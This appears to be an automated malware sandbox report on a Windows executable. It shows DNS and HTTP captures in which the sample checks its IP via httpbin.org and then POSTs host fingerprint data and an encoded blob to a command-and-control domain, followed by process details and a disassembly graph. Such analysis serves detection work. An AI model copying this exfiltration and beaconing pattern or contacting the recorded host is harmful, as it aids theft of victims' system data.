                                                Dec 27, 2024 08:50:03.759149075 CET80497055.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:03.759197950 CET80497055.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:03.759223938 CET80497055.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:03.759273052 CET80497055.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:03.759299994 CET80497055.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:03.759363890 CET80497055.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:03.759394884 CET80497055.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:03.759443045 CET80497055.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:03.759470940 CET80497055.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:03.759520054 CET80497055.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:03.759546995 CET80497055.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:03.759609938 CET80497055.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:03.759637117 CET80497055.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:03.759685040 CET80497055.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:03.759712934 CET80497055.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:03.759763956 CET80497055.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:05.821609974 CET80497055.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:05.821732998 CET80497055.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:05.821816921 CET4970580192.168.2.55.101.3.217
                                                Dec 27, 2024 08:50:05.822069883 CET4970580192.168.2.55.101.3.217
                                                Dec 27, 2024 08:50:05.941517115 CET80497055.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:06.060125113 CET4970680192.168.2.55.101.3.217
                                                Dec 27, 2024 08:50:06.179936886 CET80497065.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:06.180257082 CET4970680192.168.2.55.101.3.217
                                                Dec 27, 2024 08:50:06.180486917 CET4970680192.168.2.55.101.3.217
                                                Dec 27, 2024 08:50:06.301175117 CET80497065.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:07.656414032 CET80497065.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:07.656562090 CET80497065.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:07.656621933 CET4970680192.168.2.55.101.3.217
                                                Dec 27, 2024 08:50:07.656903028 CET4970680192.168.2.55.101.3.217
                                                Dec 27, 2024 08:50:07.776416063 CET80497065.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:07.878753901 CET4970780192.168.2.55.101.3.217
                                                Dec 27, 2024 08:50:07.998425007 CET80497075.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:08.002501965 CET4970780192.168.2.55.101.3.217
                                                Dec 27, 2024 08:50:08.003011942 CET4970780192.168.2.55.101.3.217
                                                Dec 27, 2024 08:50:08.122538090 CET80497075.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:09.580780983 CET80497075.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:09.580811024 CET80497075.101.3.217192.168.2.5
                                                Dec 27, 2024 08:50:09.580876112 CET4970780192.168.2.55.101.3.217
                                                Dec 27, 2024 08:50:09.581183910 CET4970780192.168.2.55.101.3.217
                                                Dec 27, 2024 08:50:09.700757980 CET80497075.101.3.217192.168.2.5

                                                UDP Packets

                                                TimestampSource PortDest PortSource IPDest IP
                                                Dec 27, 2024 08:49:57.220701933 CET6285153192.168.2.51.1.1.1
                                                Dec 27, 2024 08:49:57.220784903 CET6285153192.168.2.51.1.1.1
                                                Dec 27, 2024 08:49:57.357796907 CET53628511.1.1.1192.168.2.5
                                                Dec 27, 2024 08:49:57.511792898 CET53628511.1.1.1192.168.2.5
                                                Dec 27, 2024 08:50:01.507627964 CET6285453192.168.2.51.1.1.1
                                                Dec 27, 2024 08:50:01.507703066 CET6285453192.168.2.51.1.1.1
                                                Dec 27, 2024 08:50:01.832093000 CET53628541.1.1.1192.168.2.5
                                                Dec 27, 2024 08:50:01.936590910 CET53628541.1.1.1192.168.2.5
                                                Dec 27, 2024 08:50:05.921549082 CET6285653192.168.2.51.1.1.1
                                                Dec 27, 2024 08:50:05.921602964 CET6285653192.168.2.51.1.1.1
                                                Dec 27, 2024 08:50:06.059164047 CET53628561.1.1.1192.168.2.5
                                                Dec 27, 2024 08:50:06.059343100 CET53628561.1.1.1192.168.2.5
                                                Dec 27, 2024 08:50:07.728477001 CET6285853192.168.2.51.1.1.1
                                                Dec 27, 2024 08:50:07.728591919 CET6285853192.168.2.51.1.1.1
                                                Dec 27, 2024 08:50:07.868763924 CET53628581.1.1.1192.168.2.5
                                                Dec 27, 2024 08:50:07.877854109 CET53628581.1.1.1192.168.2.5

                                                DNS Queries

                                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                Dec 27, 2024 08:49:57.220701933 CET192.168.2.51.1.1.10x1573Standard query (0)httpbin.orgA (IP address)IN (0x0001)false
                                                Dec 27, 2024 08:49:57.220784903 CET192.168.2.51.1.1.10x64c4Standard query (0)httpbin.org28IN (0x0001)false
                                                Dec 27, 2024 08:50:01.507627964 CET192.168.2.51.1.1.10x9e60Standard query (0)home.fiveth5ht.topA (IP address)IN (0x0001)false
                                                Dec 27, 2024 08:50:01.507703066 CET192.168.2.51.1.1.10xcba1Standard query (0)home.fiveth5ht.top28IN (0x0001)false
                                                Dec 27, 2024 08:50:05.921549082 CET192.168.2.51.1.1.10x434aStandard query (0)home.fiveth5ht.topA (IP address)IN (0x0001)false
                                                Dec 27, 2024 08:50:05.921602964 CET192.168.2.51.1.1.10x4eaaStandard query (0)home.fiveth5ht.top28IN (0x0001)false
                                                Dec 27, 2024 08:50:07.728477001 CET192.168.2.51.1.1.10x8ba1Standard query (0)home.fiveth5ht.topA (IP address)IN (0x0001)false
                                                Dec 27, 2024 08:50:07.728591919 CET192.168.2.51.1.1.10x59cdStandard query (0)home.fiveth5ht.top28IN (0x0001)false

                                                DNS Answers

                                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                Dec 27, 2024 08:49:57.511792898 CET1.1.1.1192.168.2.50x1573No error (0)httpbin.org34.226.108.155A (IP address)IN (0x0001)false
                                                Dec 27, 2024 08:49:57.511792898 CET1.1.1.1192.168.2.50x1573No error (0)httpbin.org3.218.7.103A (IP address)IN (0x0001)false
                                                Dec 27, 2024 08:50:01.832093000 CET1.1.1.1192.168.2.50x9e60No error (0)home.fiveth5ht.top5.101.3.217A (IP address)IN (0x0001)false
                                                Dec 27, 2024 08:50:06.059164047 CET1.1.1.1192.168.2.50x434aNo error (0)home.fiveth5ht.top5.101.3.217A (IP address)IN (0x0001)false
                                                Dec 27, 2024 08:50:07.877854109 CET1.1.1.1192.168.2.50x8ba1No error (0)home.fiveth5ht.top5.101.3.217A (IP address)IN (0x0001)false

                                                HTTP Request Dependency Graph

                                                • httpbin.org
                                                • home.fiveth5ht.top

                                                HTTP Packets

                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                0192.168.2.5497055.101.3.217805268C:\Users\user\Desktop\4o4t8dO4r1.exe
                                                TimestampBytes transferredDirectionData
                                                Dec 27, 2024 08:50:02.067785978 CET12360OUTPOST /OyKvQKriwnyyWjwCxSXF1735186862 HTTP/1.1
                                                Host: home.fiveth5ht.top
                                                Accept: */*
                                                Content-Type: application/json
                                                Content-Length: 501700
                                                Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 34 32 38 34 38 38 32 34 31 39 35 37 34 36 31 30 33 30 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 [TRUNCATED]
                                                Data Ascii: { "ip": "8.46.123.189", "current_time": "8428488241957461030", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 38, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 332 }, { "name": "csrss.exe", "pid": 420 }, { "name": "wininit.exe", "pid": 496 }, { "name": "csrss.exe", "pid": 504 }, { "name": "winlogon.exe", "pid": 564 }, { "name": "services.exe", "pid": 632 }, { "name": "lsass.exe", "pid": 640 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 780 }, { "name": "fontdrvhost.exe", "pid": 788 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 924 }, { "name": "dwm.exe", "pid": 992 }, { "name": "svchost.exe", "pid": 444 }, { "name": "svchost.exe", "pid": 732 }, { "name": "svchost.exe", "pid": 280 }, { "name": "svchost.exe" [TRUNCATED]
                                                Dec 27, 2024 08:50:02.187777042 CET9888OUTData Raw: 30 55 69 73 6f 39 53 30 72 34 4d 65 41 4e 49 43 76 72 57 72 61 37 34 79 76 56 55 46 72 66 54 6f 34 76 43 33 68 2b 4b 34 52 75 52 39 70 75 46 31 58 58 64 63 30 36 59 44 74 62 65 44 62 39 56 50 42 6a 62 70 2b 65 63 51 65 4a 76 42 65 51 54 72 55 4d
                                                Data Ascii: 0Uiso9S0r4MeANICvrWra74yvVUFrfTo4vC3h+K4RuR9puF1XXdc06YDtbeDb9VPBjbp+ecQeJvBeQTrUMbnFPFY6hUnSq5flkXj8XTr0m41MPX9hfDYOvCz56eOxGGktE\/elFP9N4Z8H\/EDiunh8VgMhrYPLsTTp16OaZxKOV4Krhq0YypYrDLE2xePw1WMounWy7C4yE03KLcYzlH5LH\/AC0\/H+tR1+ilj8GvhB4l0VRc
                                                Dec 27, 2024 08:50:02.307182074 CET4944OUTData Raw: 38 41 69 56 5c 2f 77 57 6f 42 50 37 66 38 41 34 42 78 5c 2f 30 5a 35 34 57 5c 2f 38 41 56 31 66 46 53 76 33 33 77 4d 7a 62 41 5a 33 34 79 2b 42 47 63 35 5a 4f 71 34 30 5c 2f 46 54 4c 61 46 44 45 53 6f 31 38 4c 58 70 75 65 44 7a 6e 4c 4d 77 70 77
                                                Data Ascii: 8AiV\/wWoBP7f8A4Bx\/0Z54W\/8AV1fFSv33wMzbAZ34y+BGc5ZOq40\/FTLaFDESo18LXpueDznLMwpwdSNOo6VehVxGFrOm5YfFYepOKlVozu\/5P8bODOKvDfwQ+mjwHxXTw1Cvifoq8U47NMswuZZfm+XYyhHMeC+KeHcRiPqVfFYb61gsZQy3NcLRxKpZllOYYelKrRweMoyhH8xaKKK\/6BD\/AJLyF\/vH8P5Cm1J5f
                                                Dec 27, 2024 08:50:02.307240963 CET2472OUTData Raw: 31 2b 5c 2f 77 43 74 56 76 6b 6b 5c 2f 64 37 50 6e 6a 50 37 72 39 31 5c 2f 6e 5c 2f 50 36 7a 37 58 7a 6c 5c 2f 58 7a 4f 67 59 76 38 65 5c 2f 35 45 6b 5c 2f 31 70 37 39 65 50 35 38 5c 2f 55 55 4a 49 2b 45 38 6c 39 5c 2f 37 30 52 65 5a 30 67 5c 2f
                                                Data Ascii: 1+\/wCtVvkk\/d7PnjP7r91\/n\/P6z7Xzl\/XzOgYv8e\/5Ek\/1p79eP58\/UUJI+E8l9\/70ReZ0g\/z0\/wA80\/a\/yf6v\/W\/57\/56c5pkkf8AHs2f9NDL5+Ovr+P\/AOuj2vnL+vmAzakcm9PnH+tl\/wCm36f1x360u7924TzN8cX8EX1\/z\/XmnR\/3N8aeZF\/rP+WEPf8Az\/MUzzP3m\/fJ+ff+fXtVHQQyR
                                                Dec 27, 2024 08:50:02.307271957 CET7416OUTData Raw: 69 56 37 4a 79 6c 6c 74 62 45 59 76 4c 38 52 54 7a 44 44 34 4a 56 58 5c 2f 43 37 53 50 43 6e 69 33 39 6c 76 77 4c 59 61 76 70 75 6e 61 74 34 4a 61 37 38 47 61 68 34 54 73 72 70 57 66 54 4a 66 44 50 68 5c 2f 77 43 49 47 69 61 7a 38 4a 72 6d 33 53
                                                Data Ascii: iV7JylltbEYvL8RTzDD4JVX\/C7SPCni39lvwLYavpunat4Ja78Gah4TsrpWfTJfDPh\/wCIGiaz8Jrm3SRlElvbaZpnhG\/0uM5gkENoixyW7LG3iH7VZzpH7dx65\/Yh+Cx79\/F37XNfYvjnUfBHwy+Fuofab\/w74G8E+DLjwRocUuoXtj4e8OeHdNt9S8J6Xounfa72a0sLC0jjn07T7GJpkjLS21pEGkdIz8LftAeLvC3
                                                Dec 27, 2024 08:50:02.307496071 CET2472OUTData Raw: 61 46 5c 2f 72 6b 55 47 6e 6a 78 48 34 37 31 2b 78 38 4e 36 49 32 6f 7a 61 66 42 71 74 39 44 59 4c 71 4f 6f 51 4e 65 53 32 65 6d 58 39 31 48 62 69 52 37 65 7a 75 5a 51 6b 44 38 72 6f 50 78 41 38 4d 36 39 46 64 74 42 72 47 6a 4c 4c 5a 36 78 71 6d
                                                Data Ascii: aF\/rkUGnjxH471+x8N6I2ozafBqt9DYLqOoQNeS2emX91HbiR7ezuZQkD8roPxA8M69FdtBrGjLLZ6xqmhyxpqtu6y3ukXTWl0bXz1tbiWEyoTEz2sMhQqXijYlB+I4Xwb+jtg+LuShwfwn\/AKyVsHLNI5XWnicVgPqdOvToSxVDIcViq2QUowr1KVP9xgIThKcLRSlFv+jMZ4+\/SpzDgVyxHH3HX+qOGx9PJqmc4enhcFmf
                                                Dec 27, 2024 08:50:02.307519913 CET2472OUTData Raw: 74 72 72 52 6f 50 42 76 78 68 2b 45 48 78 68 54 55 74 53 75 4e 4a 31 46 5c 2f 68 56 71 5c 2f 78 4a 6e 6b 38 4f 58 73 4b 75 30 4a 76 30 2b 4a 50 77 71 2b 47 55 48 69 48 54 62 30 32 39 37 48 61 2b 49 66 68 35 64 65 4e 76 44 50 6d 57 66 2b 6b 36 31
                                                Data Ascii: trrRoPBvxh+EHxhTUtSuNJ1F\/hVq\/xJnk8OXsKu0Jv0+JPwq+GUHiHTb0297Ha+Ifh5deNvDPmWf+k61bx6noMmr6Vf0xkPEOT8S4FZjkmL+u4JzdNVfq+Kw2qjGcWqWLoYet7OpSnTrUKns\/Z16FSlXozqUalOcv454l4Wz7hHMXlXEWBeX5h7NVnQ+s4PFtRcp05KVXA4jE0Y1aVWnUoYijKoq2HxFKrh69OnWpVKcSmv9
                                                Dec 27, 2024 08:50:02.307543039 CET2472OUTData Raw: 32 68 5c 2f 77 43 48 34 55 66 42 45 66 57 79 38 66 6e 2b 58 6a 74 61 5c 2f 48 32 34 30 76 77 5c 2f 6f 48 5c 2f 43 34 72 33 34 69 5c 2f 47 4c 34 4a 66 43 6e 77 72 38 46 39 53 2b 44 56 6c 71 76 6a 33 78 64 72 50 78 57 38 54 65 44 50 47 6c 6c 2b 30
                                                Data Ascii: 2h\/wCH4UfBEfWy8fn+Xjta\/H240vw\/oH\/C4r34i\/GL4JfCnwr8F9S+DVlqvj3xdrPxW8TeDPGll+0FoHizxZ8IfEPw4vPgx8GfizrPiDw54x8L+DNX1221TU9C0BdOt\/K0\/WItO16HUtH0+1J4c07RNT+NFj8SPix8E\/hLYfA7XfgroXiHxT4t8R\/Efxj4U8Vn9ojwx4k8b\/BrWfh3qfwH+EvxlufE3hzx14L8MXn
                                                Dec 27, 2024 08:50:02.426918983 CET4944OUTData Raw: 32 48 32 5c 2f 7a 2b 46 42 76 54 71 66 72 5a 32 33 5c 2f 41 4b 5c 2f 72 7a 71 56 48 4c 39 38 5c 2f 35 37 6d 72 4f 50 76 39 38 5c 2f 7a 36 5c 2f 77 42 61 72 66 38 41 4c 54 5c 2f 50 39 32 74 76 66 5c 2f 75 5c 2f 69 57 4d 6b 2b 37 39 5c 2f 5c 2f 50
                                                Data Ascii: 2H2\/z+FBvTqfrZ23\/AK\/rzqVHL98\/57mrOPv98\/z6\/wBarf8ALT\/P92tvf\/u\/iWMk+79\/\/P5n\/H8OKh\/Pfn\/PtjH+cVPL3\/3f8ag7\/wB\/8+P5isToB+v4f1NV36\/hUtQSf98f5\/z7+9B0Fdg\/9z5P+mefX2\/D\/OaY2e\/qOn+v6dverCfdH4\/zNRSR\/wB\/\/tr\/AJ69z\/kCg0+s\/wBW\/wD
                                                Dec 27, 2024 08:50:02.427047014 CET7416OUTData Raw: 6c 79 31 5a 77 77 2b 58 34 7a 45 59 6a 41 71 74 4b 74 44 42 5a 6c 4b 65 4b 77 30 4b 56 50 46 5a 68 68 38 5a 33 63 46 66 74 41 38 38 34 51 34 4a 34 59 34 4c 66 68 31 77 39 6d 2b 47 34 58 77 4f 56 34 58 42 59 72 48 56 38 52 4b 64 53 72 6c 4f 65 59
                                                Data Ascii: ly1Zww+X4zEYjAqtKtDBZlKeKw0KVPFZhh8Z3cFftA884Q4J4Y4Lfh1w9m+G4XwOV4XBYrHV8RKdSrlOeYjiChUq0XKVFU8Tjq8aWPjQhQq4vBYbB4etWlLBYOth\/N\/Dvxk8R\/HL4qL491vxBdeL9S1P9mz9lay+JnizUNN17TNV1\/4\/+G\/gP8OfDXxuv9ZGv6Zptxq+sTfEDTNe\/tPxLbrd2XiS8WbW7bU9WW+bUbj2
                                                Dec 27, 2024 08:50:02.468759060 CET29664OUTData Raw: 5c 2f 41 50 31 66 31 2b 6d 61 59 33 79 35 7a 51 61 55 2b 76 79 5c 2f 55 59 79 37 73 64 73 56 43 33 79 35 7a 32 39 4b 73 55 31 6c 33 59 37 59 6f 4e 43 47 69 6e 46 53 76 4f 65 5c 2f 34 30 32 67 36 42 6a 4c 6e 6b 64 61 72 65 58 37 5c 2f 70 5c 2f 39
                                                Data Ascii: \/AP1f1+maY3y5zQaU+vy\/UYy7sdsVC3y5z29KsU1l3Y7YoNCGinFSvOe\/402g6BjLnkdareX7\/p\/9erEnb8f6VHW3svKX9fICvUL\/AHj+H8hVpl7j8f8AGoX+6fw\/mKPZeUvu\/wCAdBDRUzLux2xUNT7Pz\/D\/AIJ0DGXd\/L61ERszwOmeKsUyRT9\/1\/z+FT7Lyj93\/AAp+XsH8+tMZd34VaprLuqvZ+f4f8E6
                                                Dec 27, 2024 08:50:05.821609974 CET157INHTTP/1.1 200 OK
                                                Server: nginx/1.22.1
                                                Date: Fri, 27 Dec 2024 07:50:05 GMT
                                                Content-Type: text/html; charset=utf-8
                                                Content-Length: 1
                                                Connection: close
                                                Data Raw: 30
                                                Data Ascii: 0


                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                1192.168.2.5497065.101.3.217805268C:\Users\user\Desktop\4o4t8dO4r1.exe
                                                TimestampBytes transferredDirectionData
                                                Dec 27, 2024 08:50:06.180486917 CET98OUTGET /OyKvQKriwnyyWjwCxSXF1735186862?argument=0 HTTP/1.1
                                                Host: home.fiveth5ht.top
                                                Accept: */*
                                                Dec 27, 2024 08:50:07.656414032 CET372INHTTP/1.1 404 NOT FOUND
                                                Server: nginx/1.22.1
                                                Date: Fri, 27 Dec 2024 07:50:07 GMT
                                                Content-Type: text/html; charset=utf-8
                                                Content-Length: 207
                                                Connection: close
                                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a
                                                Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>


                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                2192.168.2.5497075.101.3.217805268C:\Users\user\Desktop\4o4t8dO4r1.exe
                                                TimestampBytes transferredDirectionData
                                                Dec 27, 2024 08:50:08.003011942 CET171OUTPOST /OyKvQKriwnyyWjwCxSXF1735186862 HTTP/1.1
                                                Host: home.fiveth5ht.top
                                                Accept: */*
                                                Content-Type: application/json
                                                Content-Length: 31
                                                Data Raw: 7b 20 22 69 64 31 22 3a 20 22 30 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 31 22 20 7d
                                                Data Ascii: { "id1": "0", "data": "Done1" }
                                                Dec 27, 2024 08:50:09.580780983 CET372INHTTP/1.1 404 NOT FOUND
                                                Server: nginx/1.22.1
                                                Date: Fri, 27 Dec 2024 07:50:09 GMT
                                                Content-Type: text/html; charset=utf-8
                                                Content-Length: 207
                                                Connection: close
                                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a
                                                Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>


                                                HTTPS Proxied Packets

                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                0192.168.2.54970434.226.108.1554435268C:\Users\user\Desktop\4o4t8dO4r1.exe
                                                TimestampBytes transferredDirectionData
                                                2024-12-27 07:49:59 UTC52OUTGET /ip HTTP/1.1
                                                Host: httpbin.org
                                                Accept: */*
                                                2024-12-27 07:49:59 UTC224INHTTP/1.1 200 OK
                                                Date: Fri, 27 Dec 2024 07:49:59 GMT
                                                Content-Type: application/json
                                                Content-Length: 31
                                                Connection: close
                                                Server: gunicorn/19.9.0
                                                Access-Control-Allow-Origin: *
                                                Access-Control-Allow-Credentials: true
                                                2024-12-27 07:49:59 UTC31INData Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a
                                                Data Ascii: { "origin": "8.46.123.189"}


                                                Statistics

                                                CPU Usage

                                                Click to jump to process

                                                Memory Usage

                                                Click to jump to process

                                                High Level Behavior Distribution

                                                Click to dive into process behavior distribution

                                                System Behavior

                                                General

                                                Target ID:0
                                                Start time:02:49:53
                                                Start date:27/12/2024
                                                Path:C:\Users\user\Desktop\4o4t8dO4r1.exe
                                                Wow64 process (32bit):true
                                                Commandline:"C:\Users\user\Desktop\4o4t8dO4r1.exe"
                                                Imagebase:0x8d0000
                                                File size:4'432'384 bytes
                                                MD5 hash:981A4C97340FA796C8A968D31FC620C0
                                                Has elevated privileges:true
                                                Has administrator privileges:true
                                                Programmed in:C, C++ or other language
                                                Reputation:low
                                                Has exited:true

                                                Disassembly

                                                Reset < >

                                                  Execution Graph

                                                  Execution Coverage:2.5%
                                                  Dynamic/Decrypted Code Coverage:0%
                                                  Signature Coverage:14.8%
                                                  Total number of Nodes:528
                                                  Total number of Limit Nodes:83
                                                  execution_graph 60141 908b50 60142 908be6 60141->60142 60143 908b6b 60141->60143 60143->60142 60144 908bf3 60143->60144 60145 908b8f 60143->60145 60174 90a550 60144->60174 60243 8e6e40 select 60145->60243 60149 908ba1 60150 908cd9 SleepEx 60149->60150 60158 908cb2 60149->60158 60170 908bb5 60149->60170 60159 908d13 60150->60159 60151 908c35 60231 90a150 60151->60231 60152 908c1f connect 60152->60151 60153 90a150 4 API calls 60162 908dff 60153->60162 60154 908e85 60154->60142 60155 908eae 60154->60155 60249 8e2a00 _open localeconv localeconv 60154->60249 60155->60142 60250 8d78b0 closesocket 60155->60250 60158->60142 60158->60153 60158->60154 60159->60158 60161 908d43 60159->60161 60166 90a150 4 API calls 60161->60166 60162->60154 60247 8ed090 _open localeconv localeconv 60162->60247 60163 908c8b 60163->60149 60165 908dc8 60163->60165 60246 90b100 _open localeconv localeconv 60165->60246 60166->60170 60168 908e67 60248 914fd0 _open localeconv localeconv 60168->60248 60170->60142 60245 9150a0 _open localeconv localeconv 60170->60245 60175 90a575 60174->60175 60177 90a597 60175->60177 60254 8d75e0 60175->60254 60221 90a6d9 60177->60221 60266 90ef30 60177->60266 60179 90a709 60181 8d78b0 4 API calls 60179->60181 60188 90a713 60179->60188 60180 90a63a 60186 90a641 60180->60186 60190 90a69b 60180->60190 60181->60188 60182 908bfc 60182->60142 60182->60151 60182->60152 60182->60158 60184 90a7e5 60189 90a811 setsockopt 60184->60189 60194 90a87c 60184->60194 60204 90a8ee 60184->60204 60186->60184 60275 914fd0 _open localeconv localeconv 60186->60275 60188->60182 60274 9150a0 _open localeconv localeconv 60188->60274 60189->60194 60197 90a83b 60189->60197 60271 8ed090 _open localeconv localeconv 60190->60271 60192 90a6c9 60272 914f40 _open localeconv localeconv 60192->60272 60194->60204 60278 90b1e0 _open localeconv localeconv 60194->60278 60197->60194 60276 8ed090 _open localeconv localeconv 60197->60276 60198 90af56 60200 90af5d 60198->60200 60198->60221 60200->60188 60203 90a150 4 API calls 60200->60203 60201 90a86d 60277 914fd0 _open localeconv localeconv 60201->60277 60203->60188 60205 90abb9 60204->60205 60207 90ae32 60204->60207 60208 90acb8 60204->60208 60215 90af33 60204->60215 60204->60221 60223 90abe1 60204->60223 60210 90ad45 60205->60210 60212 90ade6 60205->60212 60205->60223 60280 906be0 select closesocket _open localeconv localeconv 60205->60280 60206 90b056 60288 8ed090 _open localeconv localeconv 60206->60288 60207->60205 60285 914fd0 _open localeconv localeconv 60207->60285 60208->60205 60217 90acdc 60208->60217 60208->60221 60209 90af03 60209->60215 60286 914fd0 _open localeconv localeconv 60209->60286 60210->60212 60225 90ad5f 60210->60225 60283 8ed090 _open localeconv localeconv 60212->60283 60270 9367e0 ioctlsocket 60215->60270 60279 8ed090 _open localeconv localeconv 60217->60279 60219 90b07b 60289 914f40 _open localeconv localeconv 60219->60289 60221->60179 60221->60188 60273 8e2a00 _open localeconv localeconv 60221->60273 60223->60206 60223->60209 60223->60221 60287 914fd0 _open localeconv localeconv 60223->60287 60224 90adb7 60282 923030 _open localeconv localeconv 60224->60282 60225->60224 60281 914fd0 _open localeconv localeconv 60225->60281 60227 90ad01 60284 914f40 _open localeconv localeconv 60227->60284 60232 908c4d 60231->60232 60233 90a15f 60231->60233 60232->60163 60244 9150a0 _open localeconv localeconv 60232->60244 60233->60232 60234 90a181 getsockname 60233->60234 60235 90a1d0 60234->60235 60236 90a1f7 60234->60236 60294 8ed090 _open localeconv localeconv 60235->60294 60237 90ef30 3 API calls 60236->60237 60241 90a20f 60237->60241 60239 90a1eb 60296 914f40 _open localeconv localeconv 60239->60296 60241->60232 60295 8ed090 _open localeconv localeconv 60241->60295 60243->60149 60244->60163 60245->60142 60246->60158 60247->60168 60248->60154 60249->60155 60251 8d78d7 60250->60251 60252 8d78c5 60250->60252 60251->60142 60297 8d72a0 _open localeconv localeconv 60252->60297 60255 8d75ef 60254->60255 60256 8d7607 socket 60254->60256 60255->60256 60259 8d7601 60255->60259 60260 8d7643 60255->60260 60257 8d763a 60256->60257 60258 8d762b 60256->60258 60257->60177 60290 8d72a0 _open localeconv localeconv 60258->60290 60259->60256 60291 8d72a0 _open localeconv localeconv 60260->60291 60263 8d7654 60292 8dcb20 _open localeconv localeconv 60263->60292 60265 8d7674 60265->60177 